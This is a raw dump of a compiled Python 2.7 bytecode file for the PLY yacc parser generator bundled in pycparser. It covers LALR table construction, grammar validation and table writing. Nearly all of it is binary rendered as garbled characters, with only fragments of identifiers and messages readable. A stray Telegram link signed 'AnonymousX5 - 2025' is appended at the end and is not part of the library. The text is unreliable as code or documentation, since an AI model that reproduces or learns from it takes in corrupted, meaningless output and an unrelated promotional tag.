|||	f<q4W||fS(Nii����i(RR�RR�R%R�R\R8R(RxR(RR9R@R=tlookdicttincludedicttdtransR�RbRtlookbtincludesR�R�R>tliR5RR=((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytcompute_lookback_includesC	sX
	




cs@���fd�}���fd�}t|||�}|S(Ncs�j�|��S(N(RE(R�(R9R=R(s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt<lambda>�	scs�j�|��S(N(RG(R�(R9R=R(s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRO�	s(R(RR9tntransR=RRR((R9R=Rs6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytcompute_read_sets�	scs4�fd�}�fd�}t|||�}|S(Ncs�|S(N((R�(treadsets(s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRO�	scs�j|g�S(N(Rx(R�(tinclsets(s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRO�	s(R(RRPRRRSRRR((RSRRs6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytcompute_follow_sets�	sc	Cs�x�|j�D]�\}}x�|D]x\}}||jkrKg|j|<n|j|g�}x8|D]0}||j|krd|j|j|�qdqdWq Wq
WdS(N(R_R�RxR\(	Rt	lookbackst	followsetR@tlbRbR�RR ((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytadd_lookaheads�	s
cCst|j�}|j|�}|j|||�}|j|||�\}}|j|||�}|j||�dS(N(R?RBRQRNRTRX(RR9R=R@RRtlookdtincludedt
followsets((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytadd_lalr_lookaheads�	sc$
Cs|jj}|jj}|j}|j}|j}i}|jd|j�|j�}|jdkrw|j	|�nd}x�|D]�}	g}
i}i}i}
|jd�|jd|�|jd�x$|	D]}|jd|j
|�q�W|jd�x"|	D]}|j|jdkr|j
dkrId|d	<||d	<q!|jdkrh|j|}n|jj|j
}x�|D]|}|
j||d
|j
|ff�|j|�}|dk	r�|dkr�|j|d�\}}||j
j\}}||ks$||kr�|dkr�|j
||<|||<|rv|rv|jd
|�|jj||df�n||j
jd7_q�||kr�|dkr�d||<q�|s�|jd|�|jj||df�q�q�|dkr�||}||j
}|j|jkrs|j
||<|||<||}}||j
jd7_||j
jd8_n
||}}|jj|||f�|jd|||j
||�q�td|��q�|j
||<|||<||j
jd7_q�Wq|j}|j|d}||jjkr|j|	|�}|jjt|�d�}|dkr!|
j||d|f�|j|�}|dk	r|dkr�||krtd|��qq|dkr�|j|d�\}}|||j
j\}}||ks/||kr�|dkr�|||j
jd8_|||<|||<|s�|jd|�|jj||df�q�q||kr�|dkr�d||<q|r|r|jd
|�|jj||df�qqtd|��q|||<|||<q!qqWi}x\|
D]T\}}}||kr2|||kr�|jd||�d|||f<q�q2q2W|jd�d}xw|
D]o\}}}||kr�|||k	r||f|kr|jd||�d}d|||f<qqq�q�W|r-|jd�ni} xA|	D]9}!x0|!jD]%}"|"|jj krJd| |"<qJqJWq:Wxg| D]_}#|j|	|#�}|jjt|�d�}|dkr~||
|#<|jd|#|�q~q~W|||<|||<|
||<|d7}q�WdS(NsParsing method: %sRiRrsstate %ds    (%d) %sisS's$endsreduce using rule %d (%s)R�R�s3  ! shift/reduce conflict for %s resolved as reducetreduceR�s2  ! shift/reduce conflict for %s resolved as shifttshifts=  ! reduce/reduce conflict for %s resolved using rule %d (%s)sUnknown conflict in state %di����sshift and go to state %ds Shift/shift conflict in state %ds    %-15s %ss  ! %-15s [ %s ]s"    %-30s shift and go to state %d(srighti(srighti(!R%R�R�RSRQR&RR�R<R\R�RR�RR�R�R\RxR4R�R-R�R�R.R"R�R�R8R(RR
R�R�($RR�R�RTRRR&tactionpR9tstR2tactlistt	st_actiont
st_actionptst_gotoR�tlaheadsR RtsprectsleveltrprectrleveltoldptpptchosenptrejectpR=R5R>t	_actprintR�tnot_usedtnkeysR;R6R9((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR/�	s			








#$





	
	$










Rrc	Cs�t|tj�r!td��n|jd�d}tjj||�d}yVt|d�}|j	dtjj
|�t|j|f�d}|r�i}x�|j
j�D]y\}	}
xj|
j�D]\\}}|j|�}
|
sggf}
|
||<n|
dj|	�|
dj|�q�Wq�W|j	d	�x�|j�D]�\}}|j	d
|�x#|dD]}
|j	d|
�qlW|j	d�x#|dD]}
|j	d|
�q�W|j	d
�qDW|j	d�|j	d�n\|j	d�x?|j
j�D].\}}|j	d|d|d|f�qW|j	d�|r�i}x�|jj�D]y\}	}
xj|
j�D]\\}}|j|�}
|
s�ggf}
|
||<n|
dj|	�|
dj|�qyWq`W|j	d�x�|j�D]�\}}|j	d
|�x#|dD]}
|j	d|
�qW|j	d�x#|dD]}
|j	d|
�qRW|j	d
�q�W|j	d�|j	d�n\|j	d�x?|jj�D].\}}|j	d|d|d|f�q�W|j	d�|j	d�x�|jD]y}|jra|j	d|j|j|j|jtjj
|j�|jf�q|j	dt|�|j|jf�qW|j	d�|j�Wntk
r�}�nXdS(Ns"Won't overwrite existing tabmoduleR�i����s.pytwsu
# %s
# This file is automatically generated. Do not edit.
_tabversion = %r

_lr_method = %r

_lr_signature = %r
    iis
_lr_action_items = {s%r:([s%r,s],[s]),s}
s�
_lr_action = {}
for _k, _v in _lr_action_items.items():
   for _x,_y in zip(_v[0],_v[1]):
      if not _x in _lr_action:  _lr_action[_x] = {}
      _lr_action[_x][_k] = _y
del _lr_action_items
s
_lr_action = { s(%r,%r):%r,s
_lr_goto_items = {s�
_lr_goto = {}
for _k, _v in _lr_goto_items.items():
   for _x, _y in zip(_v[0], _v[1]):
       if not _x in _lr_goto: _lr_goto[_x] = {}
       _lr_goto[_x][_k] = _y
del _lr_goto_items
s
_lr_goto = { s_lr_productions = [
s  (%r,%r,%d,%r,%r,%d),
s  (%r,%r,%d,None,None,None),
s]
(R7R�R�tIOErrortsplitRR	RyRRtbasenameR�R�RQR_RxR\RSROR�R/RRR�R�R
(Rt	tabmodulet	outputdirRtbasemodulenameRRtsmallerR_R6tndRR;R=R�R�te((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytwrite_table�
s�&





&






&

	)*
cCsUyddl}Wntk
r/ddl}nXt|d��}|jt|t�|j|j|t�|j||t�|j|j|t�|j|j	|t�g}x�|j
D]z}|jr	|j|j
|j|j|jtjj|j�|jf�q�|jt
|�|j|jdddf�q�W|j||t�WdQXdS(Ni����twb(RRRRtdumpR�tpickle_protocolR�RQRSROR�R\R/RRRR	RtR�R�R4(RRRRtoutftoutpR�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytpickle_table s 
	@/N(R
RR4RR4R8R<R?RBRERGRNRQRTRXR\R/R{R�(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR#3s %		#	8				+	P					�zcCsGtj|�}|jj�}|j|jkrC|j|j�n|S(N(Rht	_getframet	f_globalstcopytf_localstupdate(tlevelsRtldict((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytget_caller_module_dictCs
cCsOg}|j�}d}|}x*|D]"}|d7}|j�}|sMq%ny�|ddkr�|std||f��n|}	|d}
nU|d}	|	}|d}
|d}|dkr�|dkr�td||f��n|j|||	|
f�Wq%tk
r�q%tk
rFtd	|||j�f��q%Xq%W|S(
Niit|s%s:%d: Misplaced '|'it:s::=s!%s:%d: Syntax error. Expected ':'s%s:%d: Syntax error in rule %r(t
splitlinesR4RsRMR\t	Exceptiontstrip(tdocR�R�R%tpstringstlastptdlinetpsR�R�R�tassign((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt
parse_grammarOs6







't
ParserReflectcBs�eZdd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�Zd�ZRS(cCsp||_d|_d|_d|_t�|_g|_t|_	|dkrct
tj�|_
n	||_
dS(N(R�R4R�t
error_functtokensR�R�R%R~RRRhRiR&(RR�R&((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRys						cCs6|j�|j�|j�|j�|j�dS(N(t	get_starttget_error_funct
get_tokenstget_precedencetget_pfunctions(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytget_all�s




cCsC|j�|j�|j�|j�|j�|j�|jS(N(tvalidate_starttvalidate_error_functvalidate_tokenstvalidate_precedencetvalidate_pfunctionstvalidate_modulesR(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytvalidate_all�s





cCs�g}y�|jr%|j|j�n|jrf|jdjg|jD]}dj|�^qD��n|jr�|jdj|j��nx/|jD]$}|dr�|j|d�q�q�WWnttfk
r�nXdj|�S(NRrRsi(R�R\R�RyR�tpfuncst	TypeErrort
ValueError(RtpartsR�R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�s		8	
cCs�tjd�}x�|jD]�}ytj|�\}}Wntk
rNqnXi}x�t|�D]�\}}|d7}|j|�}|rb|jd�}|j	|�}	|	s�|||<q�tj
|�}
|jjd|
|||	�qbqbWqWdS(Ns\s*def\s+(p_[a-zA-Z_0-9]*)\(is;%s:%d: Function %s redefined. Previously defined on line %d(
tretcompileR�tinspecttgetsourcelinesRrR�R�tgroupRxt
getsourcefileR&R(RtfreRtlinestlinent	counthashR�R�RtprevR((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR��s$


cCs|jjd�|_dS(NR�(R�RxR�(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR��scCs;|jdk	r7t|jt�s7|jjd�q7ndS(Ns'start' must be a string(R�R4R7tstring_typesR&R(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR��scCs|jjd�|_dS(Ntp_error(R�RxR�(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR��scCs�|jr�t|jtj�r'd}n;t|jtj�rEd}n|jjd�t|_dS|jjj	}|jjj
}tj|j�}|j
j|�|jjj|}|dkr�|jjd||�t|_q�ndS(Niis2'p_error' defined, but is not a function or methods$%s:%d: p_error() requires 1 argument(R�R7R�tFunctionTypet
MethodTypeR&RRVt__code__tco_firstlinenotco_filenameR�t	getmoduleR�R�tco_argcount(RtismethodtelinetefileRtargcount((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR��s 				cCs�|jjd�}|s5|jjd�t|_dSt|ttf�sg|jjd�t|_dS|s�|jjd�t|_dS||_dS(NR�sNo token list is definedstokens must be a list or tuplestokens is empty(	R�RxR&RRVR7R`R�R�(RR�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR��s			cCs|d|jkr,|jjd�t|_dSt�}x@|jD]5}||krg|jjd|�n|j|�q?WdS(NRs.Illegal token name 'error'. Is a reserved wordsToken %r multiply defined(R�R&RRVR�RR�(RR�R9((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�s		cCs|jjd�|_dS(NR�(R�RxR�(R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�scCsig}|jr\t|jttf�sD|jjd�t|_dSxt|j�D]\}}t|ttf�s�|jjd�t|_dSt|�dkr�|jjd|�t|_dS|d}t|t	�s�|jjd�t|_dSxX|dD]L}t|t	�s7|jjd�t|_dS|j
|||df�qWqTWn||_dS(	Ns"precedence must be a list or tuplesBad precedence tableis?Malformed precedence entry %s. Must be (assoc, term, ..., term)is)precedence associativity must be a stringis precedence items must be strings(R�R7R`R�R&RRVR�RR�R\tpreclist(RR�R�R�R�R�((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�s6				
		%cCs�g}x�|jj�D]�\}}|jd�s|dkrDqnt|tjtjf�rt|d|jj	�}t
j|�}|j||||j
f�qqW|jdd��||_dS(Ntp_R�R�tkeycSs&|dt|d�|d|dfS(Niiii(R/(t
p_function((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyRODs
(R�R_t
startswithR7R�R�R�RBR�R�R�R�R\t__doc__tsortR�(Rtp_functionsRtitemR�R((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�7s#cCsg}t|j�dkr8|jjd�t|_dSxu|jD]j\}}}}tj|�}|j|}t|t	j
�r�d}nd}|jj|kr�|jjd|||j
�t|_qB|jj|kr|jjd|||j
�t|_qB|js-|jjd|||j
�qBy:t|||�}	x!|	D]}
|j||
f�qIWWn2tk
r�}|jjt|��t|_nX|jj|�qBWxO|jj�D]>\}}
|jd�r�t|
t	jt	j
f�r�q�n|jd	�rq�n|jd�rB|d
krB|jjd|�nt|
t	j�rf|
jjdks�t|
t	j
�r�|
jjjdkr�|
jr�yN|
jjd�}|dd
kr�|jjd|
jj|
jj|�nWq�tk
r�q�Xq�q�q�W||_dS(Nis+no rules of the form p_rulename are definediis%%s:%d: Rule %r has too many argumentss#%s:%d: Rule %r requires an argumentsA%s:%d: No documentation string specified in function %r (ignored)R�tt_R�s%r not defined as a functionRsR�s9%s:%d: Possible grammar rule %r defined without p_ prefix(RR�R&RRVR�R�R�R7R�R�R�R�R
R�RR�R\RMR/R�R�R_R�R�t__func__RsR�R�R�R%(RR%R�RRR�R�R�treqargstparsed_gR5RzR9R;((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�Ls\	
		

*$'	 
N(R
RR4RR�R�RR�R�R�R�R�R�R�R�R�R�R�(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyR�xs		
											c
>Bs�|dkre}n|r$d}n|dkrBeej�}n|r�ge|�D]}
|
e||
�f^qU}e|�}d|kr�ej|dj	|d<q�ne
d�}|	dkrWe|ej
�r�|j	}n`d|kr�|d}nG|jd�}dj|d �}d|dUeej|dd�}ejj|�}	n|jd	�}|r�e|e�r�d|kr�|d|}q�n|dk	r�||d
<ne|d|�}|j�|jr�ed��n|j�}y�e�}|r|j|�}n|j|�}|s9||kr�y3|j|j�e||j �}|j!a!|SWq�e"k
r�}|j#d
|�q�XnWn6e$k
r�}|j#e|��ne%k
r�nX|
dkrN|rBy(ee&ejj|	|�d��}
WqKe'k
r>}|j#d||f�e(�}
qKXqNe(�}
n|
j)de*�e+}|j,�red��n|j s�|j#d�ne-|j.�}xW|j/D]L\}}}y|j0|||�Wq�e1k
r�}|j#d|�q�Xq�Wxr|j2D]g\}} | \}!}"}#}$y|j3|#|$||!|"�Wqe1k
rq}|jd|�e4}qXqWy0|dkr�|j5|j6�n
|j5|�Wn,e1k
r�}|je|��e4}nX|r�ed��n|j7�}%x6|%D].\}&}'|jd|'j8|'j9|&�e4}q�W|j:�}(|(r�|
j)d�|
j)d�|
j)d�x1|(D]&}|j#d|�|
j)d|�qoWn|r�|
j)d�|
j)d�|
j)d�x3e;|j<�D]\})}*|
j)d|)|*�q�Wn|j=�}+x-|+D]%}'|j#d|'j8|'j9|'j>�qWe?|(�dkr]|j#d�ne?|(�dkr�|j#de?|(��ne?|+�dkr�|j#d�ne?|+�dkr�|j#de?|+��n|r|
j)d�|
j)d�|
j)d�e@|jA�},|,jB�xJ|,D]B}|
j)d |d!jg|jA|D]}-e|-�^qH��q"W|
j)d�|
j)d"�|
j)d�e@|jC�}.|.jB�xJ|.D]B}/|
j)d |/d!jg|jC|/D]}-e|-�^q���q�W|
j)d�n|rn|jD�}0x|0D]}1|j#d#|1�qW|jE�}2x'|2D]}3|jd$|3�e4}qKWn|jF�}4x-|4D]%\}}|jd%||�e4}q�W|r�ed��n|r�|jGd&|�neH|||
�}|r�	e?|jI�}5|5dkr	|j#d'�n|5dkr:	|j#d(|5�ne?|jJ�}6|6dkre	|j#d)�q�	|6dkr�	|j#d*|6�q�	n|r |jIs�	|jJr |
j#d�|
j#d+�|
j#d�x0|jID]%\}7}8}9|
j#d,|8|7|9�q�	WeK�}:x�|jJD]�\}7};}<|7eL|;�eL|<�f|:krB
q
n|
j#d-|7|;�|
j#d.|<|7�|j#d-|7|;�|j#d.|<|7�|:jM|7eL|;�eL|<�f�q
Wg}=xc|jJD]U\}7};}<|<jNr�
|<|=kr�
|
j#d/|<�|j#d/|<�|=jO|<�q�
q�
Wn|rmy|jP||	|�Wqme'k
ri}|j#d0||f�qmXn|r�y|jQ||�Wq�e'k
r�}|j#d0||f�q�Xn|j|j�e||j �}|j!a!|S(1Nit__file__RiR�i����s	import %sRrt__package__R�R&sUnable to build parsers.There was a problem loading the table file: %rRqsCouldn't open %r. %ss5Created by PLY version %s (http://www.dabeaz.com/ply)s no p_error() function is defineds%ss;%s:%d: Symbol %r used, but not defined as a token or a rulesUnused terminals:sToken %r defined, but not useds    %sR�sRule %-5d %ss$%s:%d: Rule %r defined, but not usedisThere is 1 unused tokensThere are %d unused tokenssThere is 1 unused rulesThere are %d unused ruless'Terminals, with rules where they appears
%-20s : %sRss*Nonterminals, with rules where they appearsSymbol %r is unreachables)Infinite recursion detected for symbol %rs0Precedence rule %r defined for unknown symbol %rsGenerating %s tabless1 shift/reduce conflicts%d shift/reduce conflictss1 reduce/reduce conflicts%d reduce/reduce conflictss
Conflicts:s7shift/reduce conflict for %s in state %d resolved as %ss;reduce/reduce conflict in state %d resolved using rule (%s)srejected rule (%s) in state %dsRule (%s) is never reducedsCouldn't create %r. %s(RR4t
tab_moduleRRhRitdirRBtdictR�R�R�R7R�R�RsRyRR	tdirnameRxR/R�R�RRRR�RRRR�RNR�RpR�RR�RRRrRRt__version__R~R�R�R�R�R�R�R%R�RVR�R�R�R�R�R�R�R�R�RRR`R�R�R�R�R�R�R
R#R-R.R�RR�R�R\R{R�(>R0R
RRuR�tcheck_recursiontoptimizetwrite_tablest	debugfileRvtdebuglogterrorlogt
picklefileR�t_itemsR�tsrcfileR�tpkgnametpkgtpinfoRtlrtread_signatureR+RzterrorsR%R�R�R�tfuncnametgramR�R�R�R�R�R]R�R�R9R�R�RDR6tnontermstnontermtunreachabletuR�tinftunused_prectnum_srtnum_rrRbR�t
resolutiontalready_reportedtruletrejectedtwarned_never((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pytyacc�s�		.


			
(	









#




@




@






	!&	(?R�R�Rhtos.pathRR�tbase64R R�R�RVt	yaccdebugt
debug_fileR�t
default_lrR}R~RfRR~tversion_infot
basestringR�R/tmaxsizeRtobjectRRR�RRRR4R#R'R%R"R$R&R(R,R-R1RNR�R�R�R�R�R�R�R�R�R�RRR"R#R�R�R�R�(((s6/usr/lib/python2.7/site-packages/pycparser/ply/yacc.pyt<module>>s~			
	
				4����H.	��T		
���		)�

https://t.me/AnonymousX5 - 2025